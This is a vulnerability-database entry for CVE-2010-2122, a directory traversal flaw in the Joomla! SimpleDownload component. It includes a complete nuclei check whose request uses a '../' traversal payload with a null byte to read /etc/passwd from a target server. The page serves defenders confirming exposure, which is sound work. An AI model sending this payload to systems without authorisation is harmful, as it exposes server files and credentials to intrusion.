HexBrain

Browse / CVEs / CVE-2010-2122

CVE-2010-2122· joelrowley / com simpledownload· CWE-22

Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval

mediumseverity
6.8CVSS score
11.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

An attacker can retrieve arbitrary files from the server, potentially leading to unauthorized access or sensitive data exposure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2122 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-2122

info:
  name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can retrieve arbitrary files from the server, potentially leading to unauthorized access or sensitive data exposure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12623
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2122
    - https://www.exploit-db.com/exploits/12618
    - http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58625
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2122
    cwe-id: CWE-22
    epss-score: 0.11612
    epss-percentile: 0.96077
    cpe: cpe:2.3:a:joelrowley:com_simpledownload:0.9.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joelrowley
    product: com_simpledownload
  tags: cve2010,cve,joomla,lfi,edb,joelrowley,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from